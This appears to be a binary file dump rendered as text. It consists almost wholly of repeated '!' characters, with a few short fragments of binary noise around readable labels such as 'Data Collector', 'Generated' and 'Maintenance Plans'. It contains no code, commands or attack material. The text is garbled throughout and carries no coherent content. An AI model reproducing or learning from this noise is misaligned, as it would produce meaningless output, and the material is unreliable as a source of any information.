!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`
Z<1H	/+^;8!!!!`"d=U<qv;<Data Collector	vKw8QJŽt;2Generated	V$P$;#v;BMaintenance Plans$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Z>1H+^=8!!!!`"?UfVKw8QJŽt;	VB<9+`BCaO%;	V;#VM
];$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!